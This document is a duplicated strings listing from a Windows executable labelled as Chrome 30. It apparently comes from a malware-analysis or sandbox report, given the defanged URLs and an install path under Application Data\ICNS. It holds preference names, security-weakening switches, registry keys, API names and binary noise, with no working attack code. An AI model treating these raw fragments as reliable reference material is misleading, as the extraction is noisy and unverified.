user_experience_metrics.permuted_entropy_cache

user_experience_metrics.permuted_entropy_cache

user_experience_metrics.client_id_timestamp

user_experience_metrics.client_id_timestamp

user_experience_metrics.reporting_enabled

user_experience_metrics.reporting_enabled

user_experience_metrics.initial_logs_as_protobufs

user_experience_metrics.initial_logs_as_protobufs

user_experience_metrics.ongoing_logs_as_protobufs

user_experience_metrics.ongoing_logs_as_protobufs

user_experience_metrics.stability.exited_cleanly

user_experience_metrics.stability.exited_cleanly

user_experience_metrics.stability.stats_version

user_experience_metrics.stability.stats_version

user_experience_metrics.stability.stats_buildtime

user_experience_metrics.stability.stats_buildtime

user_experience_metrics.stability.session_end_completed

user_experience_metrics.stability.session_end_completed

user_experience_metrics.stability.launch_count

user_experience_metrics.stability.launch_count

user_experience_metrics.stability.crash_count

user_experience_metrics.stability.crash_count

user_experience_metrics.stability.incomplete_session_end_count

user_experience_metrics.stability.incomplete_session_end_count

user_experience_metrics.stability.page_load_count

user_experience_metrics.stability.page_load_count

user_experience_metrics.stability.renderer_crash_count

user_experience_metrics.stability.renderer_crash_count

user_experience_metrics.stability.launch_time_sec

user_experience_metrics.stability.launch_time_sec

user_experience_metrics.stability.extension_renderer_crash_count

user_experience_metrics.stability.extension_renderer_crash_count

user_experience_metrics.stability.last_timestamp_sec

user_experience_metrics.stability.last_timestamp_sec

user_experience_metrics.stability.plugin_stats2

user_experience_metrics.stability.plugin_stats2

user_experience_metrics.stability.renderer_hang_count

user_experience_metrics.stability.renderer_hang_count

user_experience_metrics.stability.child_process_crash_count

user_experience_metrics.stability.child_process_crash_count

user_experience_metrics.stability.other_user_crash_count

user_experience_metrics.stability.other_user_crash_count

user_experience_metrics.stability.kernel_crash_count

user_experience_metrics.stability.kernel_crash_count

user_experience_metrics.stability.system_unclean_shutdowns

user_experience_metrics.stability.system_unclean_shutdowns

user_experience_metrics.stability.breakpad_registration_ok

user_experience_metrics.stability.breakpad_registration_ok

user_experience_metrics.stability.breakpad_registration_fail

user_experience_metrics.stability.breakpad_registration_fail

user_experience_metrics.stability.debugger_present

user_experience_metrics.stability.debugger_present

user_experience_metrics.stability.debugger_not_present

user_experience_metrics.stability.debugger_not_present

uninstall_metrics.installation_date2

uninstall_metrics.installation_date2

uninstall_metrics.page_load_count

uninstall_metrics.page_load_count

uninstall_metrics.launch_count

uninstall_metrics.launch_count

uninstall_metrics.uptime_sec

uninstall_metrics.uptime_sec

uninstall_metrics.last_launch_time_sec

uninstall_metrics.last_launch_time_sec

uninstall_metrics.last_observed_running_time_sec

uninstall_metrics.last_observed_running_time_sec

browser.suppress_default_browser_prompt_for_version

browser.suppress_default_browser_prompt_for_version

browser.window_placement

browser.window_placement

task_manager.window_placement

task_manager.window_placement

keyword_editor.window_placement

keyword_editor.window_placement

preferences.window_placement

preferences.window_placement

renderer.memory_cache.size

renderer.memory_cache.size

download.default_directory

download.default_directory

download.directory_upgrade

download.directory_upgrade

savefile.default_directory

savefile.default_directory

savefile.type

savefile.type

selectfile.last_directory

selectfile.last_directory

select_file_dialogs.allowed

select_file_dialogs.allowed

filebrowser.tasks.default_by_mime_type

filebrowser.tasks.default_by_mime_type

filebrowser.tasks.default_by_suffix

filebrowser.tasks.default_by_suffix

download.extensions_to_open

download.extensions_to_open

browser.hung_plugin_detect_freq

browser.hung_plugin_detect_freq

browser.plugin_message_response_timeout

browser.plugin_message_response_timeout

spellcheck.dictionary

spellcheck.dictionary

spellcheck.confirm_dialog_shown

spellcheck.confirm_dialog_shown

spellcheck.use_spelling_service

spellcheck.use_spelling_service

protocol_handler.excluded_schemes

protocol_handler.excluded_schemes

safe_browsing.client_key

safe_browsing.client_key

safe_browsing.wrapped_key

safe_browsing.wrapped_key

options_window.last_tab_index

options_window.last_tab_index

content_settings_window.last_tab_index

content_settings_window.last_tab_index

certificate_manager_window.last_tab_index

certificate_manager_window.last_tab_index

browser.last_known_google_url

browser.last_known_google_url

browser.last_prompted_google_url

browser.last_prompted_google_url

browser.last_redirect_origin

browser.last_redirect_origin

shutdown.type

shutdown.type

shutdown.num_processes

shutdown.num_processes

shutdown.num_processes_slow

shutdown.num_processes_slow

restart.last.session.on.shutdown

restart.last.session.on.shutdown

was.restarted

was.restarted

restart.switch_mode

restart.switch_mode

extensions.disabled

extensions.disabled

plugins.disable_plugin_finder

plugins.disable_plugin_finder

extensions.browseractions.container.width

extensions.browseractions.container.width

extensions.autoupdate.last_check

extensions.autoupdate.last_check

extensions.autoupdate.next_check

extensions.autoupdate.next_check

extensions.alerts.initialized

extensions.alerts.initialized

extensions.allowed_install_sites

extensions.allowed_install_sites

extensions.allowed_types

extensions.allowed_types

extensions.blacklistupdate.version

extensions.blacklistupdate.version

extensions.install.allowlist

extensions.install.allowlist

extensions.install.denylist

extensions.install.denylist

extensions.install.forcelist

extensions.install.forcelist

extensions.storage.garbagecollect

extensions.storage.garbagecollect

ntp.collapsed_foreign_sessions

ntp.collapsed_foreign_sessions

ntp.most_visited_blacklist

ntp.most_visited_blacklist

ntp.promo_resource_cache_update

ntp.promo_resource_cache_update

ntp.tips_resource_server

ntp.tips_resource_server

ntp.date_resource_server

ntp.date_resource_server

ntp.shown_bookmarks_folder

ntp.shown_bookmarks_folder

ntp.shown_page

ntp.shown_page

ntp.promo_desktop_session_found

ntp.promo_desktop_session_found

ntp.webstore_enabled

ntp.webstore_enabled

ntp.app_page_names

ntp.app_page_names

devtools.adb_key

devtools.adb_key

devtools.disabled

devtools.disabled

devtools.dock_side

devtools.dock_side

devtools.edited_files

devtools.edited_files

devtools.file_system_paths

devtools.file_system_paths

devtools.split_location

devtools.split_location

devtools.open_docked

devtools.open_docked

signin.allowed

signin.allowed

sync.last_synced_time

sync.last_synced_time

sync.has_setup_completed

sync.has_setup_completed

sync.keep_everything_synced

sync.keep_everything_synced

sync.app_notifications

sync.app_notifications

sync.app_settings

sync.app_settings

sync.apps

sync.apps

sync.autofill_profile

sync.autofill_profile

sync.autofill

sync.autofill

sync.bookmarks

sync.bookmarks

sync.dictionary

sync.dictionary

sync.extension_settings

sync.extension_settings

sync.extensions

sync.extensions

sync.favicon_images

sync.favicon_images

sync.favicon_tracking

sync.favicon_tracking

sync.history_delete_directives

sync.history_delete_directives

sync.managed_user_settings

sync.managed_user_settings

sync.managed_users

sync.managed_users

sync.passwords

sync.passwords

sync.preferences

sync.preferences

sync.priority_preferences

sync.priority_preferences

sync.search_engines

sync.search_engines

sync.sessions

sync.sessions

sync.synced_notifications

sync.synced_notifications

sync.tabs

sync.tabs

sync.themes

sync.themes

sync.typed_urls

sync.typed_urls

sync.managed

sync.managed

sync.suppress_start

sync.suppress_start

sync.acknowledged_types

sync.acknowledged_types

sync.max_invalidation_versions

sync.max_invalidation_versions

sync.session_sync_guid

sync.session_sync_guid

invalidator.client_id

invalidator.client_id

invalidator.invalidation_state

invalidator.invalidation_state

invalidator.max_invalidation_versions

invalidator.max_invalidation_versions

sync.encryption_bootstrap_token

sync.encryption_bootstrap_token

sync.keystore_encryption_bootstrap_token

sync.keystore_encryption_bootstrap_token

sync.using_secondary_passphrase

sync.using_secondary_passphrase

google.services.last_username

google.services.last_username

google.services.username

google.services.username

google.services.username_pattern

google.services.username_pattern

sync_promo.startup_count

sync_promo.startup_count

sync_promo.user_skipped

sync_promo.user_skipped

sync_promo.show_on_first_run_allowed

sync_promo.show_on_first_run_allowed

sync_promo.show_ntp_bubble

sync_promo.show_ntp_bubble

sync_promo.error_message

sync_promo.error_message

profile.gaia_info_update_time

profile.gaia_info_update_time

profile.gaia_info_picture_url

profile.gaia_info_picture_url

browser.web_app.create_on_desktop

browser.web_app.create_on_desktop

browser.web_app.create_in_apps_menu

browser.web_app.create_in_apps_menu

browser.web_app.create_in_quick_launch_bar

browser.web_app.create_in_quick_launch_bar

geolocation.access_token

geolocation.access_token

remote_access.host_firewall_traversal

remote_access.host_firewall_traversal

remote_access.host_require_two_factor

remote_access.host_require_two_factor

remote_access.host_domain

remote_access.host_domain

remote_access.host_talkgadget_prefix

remote_access.host_talkgadget_prefix

remote_access.host_require_curtain

remote_access.host_require_curtain

printing.print_preview_sticky_settings

printing.print_preview_sticky_settings

cloud_print.service_url

cloud_print.service_url

cloud_print.signin_url

cloud_print.signin_url

cloud_print.dialog_size.width

cloud_print.dialog_size.width

cloud_print.dialog_size.height

cloud_print.dialog_size.height

cloud_print.signin_dialog_size.width

cloud_print.signin_dialog_size.width

cloud_print.signin_dialog_size.height

cloud_print.signin_dialog_size.height

background_contents.registered

background_contents.registered

browser.shown_autolaunch_infobar

browser.shown_autolaunch_infobar

auth.schemes

auth.schemes

auth.disable_negotiate_cname_lookup

auth.disable_negotiate_cname_lookup

auth.enable_negotiate_port

auth.enable_negotiate_port

auth.server_whitelist

auth.server_whitelist

auth.negotiate_delegate_whitelist

auth.negotiate_delegate_whitelist

auth.gssapi_library_name

auth.gssapi_library_name

auth.spdyproxy.origin

auth.spdyproxy.origin

auth.allow_cross_origin_prompt

auth.allow_cross_origin_prompt

async_dns.enabled

async_dns.enabled

http_received_content_length

http_received_content_length

http_original_content_length

http_original_content_length

hardware.audio_capture_enabled

hardware.audio_capture_enabled

hardware.audio_capture_allowed_urls

hardware.audio_capture_allowed_urls

hardware.video_capture_enabled

hardware.video_capture_enabled

hardware.video_capture_allowed_urls

hardware.video_capture_allowed_urls

browser.clear_lso_data_enabled

browser.clear_lso_data_enabled

browser.pepper_flash_settings_enabled

browser.pepper_flash_settings_enabled

browser.disk_cache_dir

browser.disk_cache_dir

browser.disk_cache_size

browser.disk_cache_size

browser.media_cache_size

browser.media_cache_size

cros.system.releaseChannel

cros.system.releaseChannel

policy.disable_cloud_policy_on_signin

policy.disable_cloud_policy_on_signin

message_center.showed_first_run_balloon

message_center.showed_first_run_balloon

cloud_print.enabled

cloud_print.enabled

cloud_print.proxy_id

cloud_print.proxy_id

cloud_print.auth_token

cloud_print.auth_token

cloud_print.xmpp_auth_token

cloud_print.xmpp_auth_token

cloud_print.email

cloud_print.email

cloud_print.print_system_settings

cloud_print.print_system_settings

cloud_print.enable_job_poll

cloud_print.enable_job_poll

cloud_print.robot_refresh_token

cloud_print.robot_refresh_token

cloud_print.robot_email

cloud_print.robot_email

cloud_print.user_settings.connectNewPrinters

cloud_print.user_settings.connectNewPrinters

cloud_print.xmpp_ping_enabled

cloud_print.xmpp_ping_enabled

cloud_print.xmpp_ping_timeout_sec

cloud_print.xmpp_ping_timeout_sec

cloud_print.user_settings

cloud_print.user_settings

cloud_print.user_settings.printers

cloud_print.user_settings.printers

cloud_print.submit_enabled

cloud_print.submit_enabled

net.max_connections_per_proxy

net.max_connections_per_proxy

profile.managed_default_content_settings.cookies

profile.managed_default_content_settings.cookies

profile.managed_default_content_settings.images

profile.managed_default_content_settings.images

profile.managed_default_content_settings.javascript

profile.managed_default_content_settings.javascript

profile.managed_default_content_settings.plugins

profile.managed_default_content_settings.plugins

profile.managed_default_content_settings.popups

profile.managed_default_content_settings.popups

profile.managed_default_content_settings.geolocation

profile.managed_default_content_settings.geolocation

profile.managed_default_content_settings.notifications

profile.managed_default_content_settings.notifications

profile.managed_default_content_settings.media_stream

profile.managed_default_content_settings.media_stream

profile.managed_cookies_allowed_for_urls

profile.managed_cookies_allowed_for_urls

profile.managed_cookies_blocked_for_urls

profile.managed_cookies_blocked_for_urls

profile.managed_cookies_sessiononly_for_urls

profile.managed_cookies_sessiononly_for_urls

profile.managed_images_allowed_for_urls

profile.managed_images_allowed_for_urls

profile.managed_images_blocked_for_urls

profile.managed_images_blocked_for_urls

profile.managed_javascript_allowed_for_urls

profile.managed_javascript_allowed_for_urls

profile.managed_javascript_blocked_for_urls

profile.managed_javascript_blocked_for_urls

profile.managed_plugins_allowed_for_urls

profile.managed_plugins_allowed_for_urls

profile.managed_plugins_blocked_for_urls

profile.managed_plugins_blocked_for_urls

profile.managed_popups_allowed_for_urls

profile.managed_popups_allowed_for_urls

profile.managed_popups_blocked_for_urls

profile.managed_popups_blocked_for_urls

profile.managed_notifications_allowed_for_urls

profile.managed_notifications_allowed_for_urls

profile.managed_notifications_blocked_for_urls

profile.managed_notifications_blocked_for_urls

profile.managed_auto_select_certificate_for_urls

profile.managed_auto_select_certificate_for_urls

background_mode.enabled

background_mode.enabled

hardware_acceleration_mode.enabled

hardware_acceleration_mode.enabled

custom_handlers.registered_protocol_handlers

custom_handlers.registered_protocol_handlers

custom_handlers.ignored_protocol_handlers

custom_handlers.ignored_protocol_handlers

custom_handlers.enabled

custom_handlers.enabled

policy.device_refresh_rate

policy.device_refresh_rate

policy.user_refresh_rate

policy.user_refresh_rate

recovery_component.version

recovery_component.version

component_updater.state

component_updater.state

media_galleries.gallery_id

media_galleries.gallery_id

media_galleries.remembered_galleries

media_galleries.remembered_galleries

network_profile.warnings_left

network_profile.warnings_left

network_profile.last_warning_time

network_profile.last_warning_time

policy.last_statistics_update

policy.last_statistics_update

app_list.profile

app_list.profile

app_list.show_on_relaunch

app_list.show_on_relaunch

app_list.launch_count

app_list.launch_count

app_list.last_launch_ping

app_list.last_launch_ping

app_list.app_launch_count

app_list.app_launch_count

app_list.last_app_launch_ping

app_list.last_app_launch_ping

module_conflict.bubble_shown

module_conflict.bubble_shown

settings.privacy.drm_salt

settings.privacy.drm_salt

settings.privacy.drm_enabled

settings.privacy.drm_enabled

nacl-loader-cmd-prefix

nacl-loader-cmd-prefix

allow-webui-compositing

allow-webui-compositing

disable-webgl

disable-webgl

blacklist-webgl

blacklist-webgl

disable-image-transport-surface

disable-image-transport-surface

speech-service-key

speech-service-key

disable-webaudio

disable-webaudio

enable-webrtc-aec-recordings

enable-webrtc-aec-recordings

enable-webrtc-tcp-server-socket

enable-webrtc-tcp-server-socket

enable-webrtc-hw-decoding

enable-webrtc-hw-decoding

enable-web-animations-css

enable-web-animations-css

enable-web-animations-svg

enable-web-animations-svg

enable-web-midi

enable-web-midi

disable-web-security

disable-web-security

enable-experimental-websocket

enable-experimental-websocket

enable-experimental-web-platform-features

enable-experimental-web-platform-features

disable-webkit-media-source

disable-webkit-media-source

enable-privileged-webgl-extensions

enable-privileged-webgl-extensions

enable-tcp-fastopen

enable-tcp-fastopen

enable-viewport

enable-viewport

ignore-certificate-errors

ignore-certificate-errors

remote-debugging-port

remote-debugging-port

renderer-cmd-prefix

renderer-cmd-prefix

enable-vtune-support

enable-vtune-support

testing-fixed-http-port

testing-fixed-http-port

testing-fixed-https-port

testing-fixed-https-port

utility-cmd-prefix

utility-cmd-prefix

webcore-log-channels

webcore-log-channels

zygote-cmd-prefix

zygote-cmd-prefix

enable-webgl-draft-extensions

enable-webgl-draft-extensions

Visual C CRT: Not enough memory to complete call to strerror.

Visual C CRT: Not enough memory to complete call to strerror.

Broken pipe

Broken pipe

Inappropriate I/O control operation

Inappropriate I/O control operation

Operation not permitted

Operation not permitted

portuguese-brazilian

portuguese-brazilian

GetProcessWindowStation

GetProcessWindowStation

operator

operator

SHELL32.dll

SHELL32.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

user.js

user.js

full-memory-crash-report

full-memory-crash-report

CHROME_PROFILER_TIME

CHROME_PROFILER_TIME

%s-%Iu

%s-%Iu

ERROR_REPORT

ERROR_REPORT

metro_driver.dll

metro_driver.dll

user32.dll

user32.dll

GetInitialUrl

GetInitialUrl

PlatformFile.UnknownErrors.Windows

PlatformFile.UnknownErrors.Windows

0123456789

0123456789

Dictionary keys must be quoted.

Dictionary keys must be quoted.

Unsupported encoding. JSON must be UTF-8.

Unsupported encoding. JSON must be UTF-8.

.thunks

.thunks

.syzygy

.syzygy

Histogram: %s recorded %d samples

Histogram: %s recorded %d samples

(flags = 0x%x)

(flags = 0x%x)

\uX

\uX

Line: %i, column: %i, %s

Line: %i, column: %i, %s

(%d = %3.1f%%)

(%d = %3.1f%%)

C:\b\build\slave\win\build\src\build\Release\chrome.exe.pdb

C:\b\build\slave\win\build\src\build\Release\chrome.exe.pdb

ShellExecuteExA

ShellExecuteExA

SHLWAPI.dll

SHLWAPI.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

USERENV.dll

USERENV.dll

WTSAPI32.dll

WTSAPI32.dll

VERSION.dll

VERSION.dll

WINMM.dll

WINMM.dll

GetWindowsDirectoryW

GetWindowsDirectoryW

CreateIoCompletionPort

CreateIoCompletionPort

WaitNamedPipeW

WaitNamedPipeW

TransactNamedPipe

TransactNamedPipe

SetNamedPipeHandleState

SetNamedPipeHandleState

GetProcessHandleCount

GetProcessHandleCount

GetProcessHeap

GetProcessHeap

GetCPInfo

GetCPInfo

RegOpenKeyExW

RegOpenKeyExW

RegCloseKey

RegCloseKey

RegCreateKeyExW

RegCreateKeyExW

RegQueryInfoKeyW

RegQueryInfoKeyW

RegEnumKeyExW

RegEnumKeyExW

ADVAPI32.dll

ADVAPI32.dll

CloseWindowStation

CloseWindowStation

CreateWindowStationW

CreateWindowStationW

SetProcessWindowStation

SetProcessWindowStation

chrome.exe

chrome.exe

SetActiveURL

SetActiveURL

SetCrashKeyValuePair

SetCrashKeyValuePair

zcÁ

zcÁ

#$( ....6/6////. )

#$( ....6/6////. )

2( ..////6//6

2( ..////6//6

( /.///6////

( /.///6////

(//.//6///.`

(//.//6///.`

55;;/?

55;;/?

55;;>;>/

55;;>;>/

)^%x>

)^%x>

@DQSSSSSQLLHHGG?332200--'

@DQSSSSSQLLHHGG?332200--'

BDRSSSSQLLPHH??332000-7.

BDRSSSSQLLPHH??332000-7.

6%%%%#%###!!

6%%%%#%###!!

122200.- *('%

122200.- *('%

35955220.- ('$

35955220.- ('$

79::995420.-*(&

79::995420.-*(&

|(==7:89?

|(==7:89?

ÞDDDCA)

ÞDDDCA)

K%8xHQ

K%8xHQ

R.RKi)

R.RKi)

9;:)

9;:)

5!5'5 50575

5!5'5 50575

> >$>(>,>0>4>

> >$>(>,>0>4>

0#3'3 3/33373;3?3

0#3'3 3/33373;3?3

: :$:(:,:0:

: :$:(:,:0:

= =$=(=,=0=

= =$=(=,=0=

>$>@>`>|>

>$>@>`>|>

\\.\pipe\GoogleCrashServices\

\\.\pipe\GoogleCrashServices\

\\.\pipe\ChromeCrashServices

\\.\pipe\ChromeCrashServices

ntdll.dll

ntdll.dll

error %u

error %u

unspecified-crash-key

unspecified-crash-key

hurl-chunk-%i

hurl-chunk-%i

prn-info-%d

prn-info-%d

registering_chrome

registering_chrome

echrmstp.exe

echrmstp.exe

app_host.exe

app_host.exe

chrome.dll

chrome.dll

chrome_child.dll

chrome_child.dll

npchrome_frame.dll

npchrome_frame.dll

chrome_frame_helper.exe

chrome_frame_helper.exe

ChromeFrameHelperWindowClass

ChromeFrameHelperWindowClass

ChromeFrameReadyMode

ChromeFrameReadyMode

chrome_launcher.exe

chrome_launcher.exe

new_chrome.exe

new_chrome.exe

old_chrome.exe

old_chrome.exe

delegate_execute.exe

delegate_execute.exe

nacl64.exe

nacl64.exe

setup.exe

setup.exe

InstallerSuccessLaunchCmdLine

InstallerSuccessLaunchCmdLine

{7D2B3E1D-D096-4594-9D8F-A6667F12E0AC}

{7D2B3E1D-D096-4594-9D8F-A6667F12E0AC}

{A2DF06F9-A21A-44A8-8A99-8B9C84F29160}

{A2DF06F9-A21A-44A8-8A99-8B9C84F29160}

Browse the web

Browse the web

Software\Microsoft\Windows\CurrentVersion\Uninstall\Chromium

Software\Microsoft\Windows\CurrentVersion\Uninstall\Chromium

{8A69D345-D564-463C-AFF1-A69D9E530F96}

{8A69D345-D564-463C-AFF1-A69D9E530F96}

{430FD4D0-B729-4F61-AA34-91526481799D}

{430FD4D0-B729-4F61-AA34-91526481799D}

GoogleUpdateSetup.exe

GoogleUpdateSetup.exe

CFEndTempOptOutCmd

CFEndTempOptOutCmd

CFOptInCmd

CFOptInCmd

CFOptOutCmd

CFOptOutCmd

CFTempOptOutCmd

CFTempOptOutCmd

UninstallCmdLine

UninstallCmdLine

WebAccessible

WebAccessible

{4ea16ac7-fd5a-47c3-875b-dbf4a2008c20}

{4ea16ac7-fd5a-47c3-875b-dbf4a2008c20}

ChromeCanary

ChromeCanary

BGoogle Chrome Canary

BGoogle Chrome Canary

-chrome

-chrome

-chromeframe

-chromeframe

{8A69D345-D564-463c-AFF1-A69D9E530F96}

{8A69D345-D564-463c-AFF1-A69D9E530F96}

{5C65F4B0-3651-4514-B207-D10CB699B14B}

{5C65F4B0-3651-4514-B207-D10CB699B14B}

hXXp://VVV.google.com/support/chrome/bin/request.py?hl=$1&contact_type=uninstall

hXXp://VVV.google.com/support/chrome/bin/request.py?hl=$1&contact_type=uninstall

BGoogle Chrome

BGoogle Chrome

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

%d.%d.%d

%d.%d.%d

{8BA986DA-5100-405E-AA35-86F34A02ACBF}

{8BA986DA-5100-405E-AA35-86F34A02ACBF}

BGoogle Chrome Frame

BGoogle Chrome Frame

Google\Chrome Frame

Google\Chrome Frame

Chrome in a Frame.

Chrome in a Frame.

Uninstall Chrome Frame

Uninstall Chrome Frame

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Frame

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome Frame

{FDA71E6F-AC4C-4a00-8B70-9958A68906BF}

{FDA71E6F-AC4C-4a00-8B70-9958A68906BF}

BGoogle Chrome App Launcher

BGoogle Chrome App Launcher

ChromeAppList

ChromeAppList

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome App Launcher

Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome App Launcher

{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}

{4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D}

Google Chrome binaries

Google Chrome binaries

%s\%s.dmp

%s\%s.dmp

rpcrt4.dll

rpcrt4.dll

dbghelp.dll

dbghelp.dll

x-x-x-xx-xxxxxx

x-x-x-xx-xxxxxx

HKEY_DYN_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_NLSTEXT

HKEY_PERFORMANCE_NLSTEXT

HKEY_PERFORMANCE_TEXT

HKEY_PERFORMANCE_TEXT

HKEY_PERFORMANCE_DATA

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

HKEY_CLASSES_ROOT

pipe\

pipe\

Ckernel32.dll

Ckernel32.dll

ALPC Port

ALPC Port

s0x%X

s0x%X

Cntdll.dll

Cntdll.dll

wow_helper.exe"

wow_helper.exe"

GSOFTWARE\Policies\Google\Chrome

GSOFTWARE\Policies\Google\Chrome

${windows}

${windows}

Chrome_StatusTrayWindow

Chrome_StatusTrayWindow

Reported Crashes.txt

Reported Crashes.txt

testing_interface.dll

testing_interface.dll

Certificate Revocation Lists

Certificate Revocation Lists

Custom Dictionary.txt

Custom Dictionary.txt

Login Data

Login Data

Origin Bound Certs

Origin Bound Certs

Cached Theme.pak

Cached Theme.pak

Web Applications

Web Applications

pepflashplayer.dll

pepflashplayer.dll

Software\Google\Chrome\Metro

Software\Google\Chrome\Metro

CHROME_METRO_NAV_SEARCH_REQUEST

CHROME_METRO_NAV_SEARCH_REQUEST

CHROME_METRO_GET_CURRENT_TAB_INFO

CHROME_METRO_GET_CURRENT_TAB_INFO

mscoree.dll

mscoree.dll

ADVAPI32.DLL

ADVAPI32.DLL

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

nKERNEL32.DLL

nKERNEL32.DLL

WUSER32.DLL

WUSER32.DLL

DelegateExecute

DelegateExecute

\.exe

\.exe

URL Protocol

URL Protocol

webcal

webcal

https

https

.webp

.webp

.xhtml

.xhtml

.shtml

.shtml

.html

.html

Chrome HTML Document

Chrome HTML Document

ChromeHTML

ChromeHTML

Software\Microsoft\Windows\CurrentVersion\App Paths

Software\Microsoft\Windows\CurrentVersion\App Paths

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice

gChrome_MessagePumpWindow_%p

gChrome_MessagePumpWindow_%p

HChrome_MessageWindow

HChrome_MessageWindow

Software\Classes\CLSID\{054AAE20-4BEA-4347-8A35-64A533254A9D}\LocalServer32

Software\Classes\CLSID\{054AAE20-4BEA-4347-8A35-64A533254A9D}\LocalServer32

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

\StringFileInfo\xx\%ls

\StringFileInfo\xx\%ls

debug.log

debug.log

.\debug.log

.\debug.log

debug_message.exe

debug_message.exe

%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\chrome.exe

%Documents and Settings%\%current user%\Local Settings\Application Data\ICNS\browser\chrome.exe

Google Chrome

Google Chrome

30.0.1573.2

30.0.1573.2

chrome_exe

chrome_exe

chrome.exe_336:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

SSShx

SSShx

xSSSh

xSSSh

FTPjKS

FTPjKS

FtPj;S

FtPj;S

C.PjRV

C.PjRV

0.0.0.0-devel

0.0.0.0-devel

Chrome

Chrome

ChromeFrame

ChromeFrame

CHROME_METRO_DLL

CHROME_METRO_DLL

Could not find exported function

Could not find exported function

app\client_util.cc

app\client_util.cc

RelaunchChromeBrowserWithNewCommandLineIfNeeded

RelaunchChromeBrowserWithNewCommandLineIfNeeded

Failed to load Chrome DLL from

Failed to load Chrome DLL from

No valid Chrome version found

No valid Chrome version found

ChromeMain

ChromeMain

NTDLL.DLL

NTDLL.DLL

CHROME_BREAKPAD_PIPE_NAME

CHROME_BREAKPAD_PIPE_NAME

1.3.21.115

1.3.21.115

app\breakpad_win.cc

app\breakpad_win.cc

subresource_url

subresource_url

rsesek_key

rsesek_key

hXXp://VVV.google.com/search?q=%s&sourceid=chrome&ie=UTF-8

hXXp://VVV.google.com/search?q=%s&sourceid=chrome&ie=UTF-8

browser\chrome_process_finder_win.cc

browser\chrome_process_finder_win.cc

installer\util\google_update_settings.cc

installer\util\google_update_settings.cc

Removed multi-install failure key; switching to channel:

Removed multi-install failure key; switching to channel:

Removed incremental installer failure key; switching to channel:

Removed incremental installer failure key; switching to channel:

Failed to write to application's ClientState key

Failed to write to application's ClientState key

auto-launch-chrome

auto-launch-chrome

chrome

chrome

chrome-frame

chrome-frame

chrome-sxs

chrome-sxs

do-not-launch-chrome

do-not-launch-chrome

make-chrome-default

make-chrome-default

new-setup-exe

new-setup-exe

register-chrome-browser

register-chrome-browser

register-chrome-browser-suffix

register-chrome-browser-suffix

register-dev-chrome

register-dev-chrome

register-url-protocol

register-url-protocol

rename-chrome-exe

rename-chrome-exe

remove-chrome-registration

remove-chrome-registration

update-setup-exe

update-setup-exe

toast-results-key

toast-results-key

installer\util\channel_info.cc

installer\util\channel_info.cc

Skipping over key "

Skipping over key "

Failed to open key "

Failed to open key "

Cannot initialize AppCommands from an invalid key.

Cannot initialize AppCommands from an invalid key.

installer\util\app_commands.cc

installer\util\app_commands.cc

googlechrome

googlechrome

iexplore.exe

iexplore.exe

googlechromeframe

googlechromeframe

googlechromeapphost

googlechromeapphost

installer\util\master_preferences.cc

installer\util\master_preferences.cc

Cannot initialize an AppCommand from an invalid key.

Cannot initialize an AppCommand from an invalid key.

installer\util\app_command.cc

installer\util\app_command.cc

installer\util\language_selector.cc

installer\util\language_selector.cc

auto_launch_chrome

auto_launch_chrome

chrome_frame

chrome_frame

chrome_shortcut_icon_index

chrome_shortcut_icon_index

import_bookmarks

import_bookmarks

import_bookmarks_from_file

import_bookmarks_from_file

import_history

import_history

import_home_page

import_home_page

import_search_engine

import_search_engine

do_not_launch_chrome

do_not_launch_chrome

make_chrome_default

make_chrome_default

make_chrome_default_for_user

make_chrome_default_for_user

extensions.settings

extensions.settings

kernel32.dll

kernel32.dll

NtOpenKey

NtOpenKey

NtCreateKey

NtCreateKey

NtOpenKeyEx

NtOpenKeyEx

CreateNamedPipeW

CreateNamedPipeW

AudioCaptureAllowedUrls

AudioCaptureAllowedUrls

AutoSelectCertificateForUrls

AutoSelectCertificateForUrls

CloudPrintProxyEnabled

CloudPrintProxyEnabled

CloudPrintSubmitEnabled

CloudPrintSubmitEnabled

ContentPackManualBehaviorURLs

ContentPackManualBehaviorURLs

CookiesAllowedForUrls

CookiesAllowedForUrls

CookiesBlockedForUrls

CookiesBlockedForUrls

CookiesSessionOnlyForUrls

CookiesSessionOnlyForUrls

DefaultSearchProviderAlternateURLs

DefaultSearchProviderAlternateURLs

DefaultSearchProviderIconURL

DefaultSearchProviderIconURL

DefaultSearchProviderInstantURL

DefaultSearchProviderInstantURL

DefaultSearchProviderKeyword

DefaultSearchProviderKeyword

DefaultSearchProviderSearchTermsReplacementKey

DefaultSearchProviderSearchTermsReplacementKey

DefaultSearchProviderSearchURL

DefaultSearchProviderSearchURL

DefaultSearchProviderSuggestURL

DefaultSearchProviderSuggestURL

EnableAuthNegotiatePort

EnableAuthNegotiatePort

EnableOriginBoundCerts

EnableOriginBoundCerts

HideWebStoreIcon

HideWebStoreIcon

ImagesAllowedForUrls

ImagesAllowedForUrls

ImagesBlockedForUrls

ImagesBlockedForUrls

ImportBookmarks

ImportBookmarks

ImportHistory

ImportHistory

ImportHomepage

ImportHomepage

ImportSavedPasswords

ImportSavedPasswords

ImportSearchEngine

ImportSearchEngine

JavaScriptAllowedForUrls

JavaScriptAllowedForUrls

JavaScriptBlockedForUrls

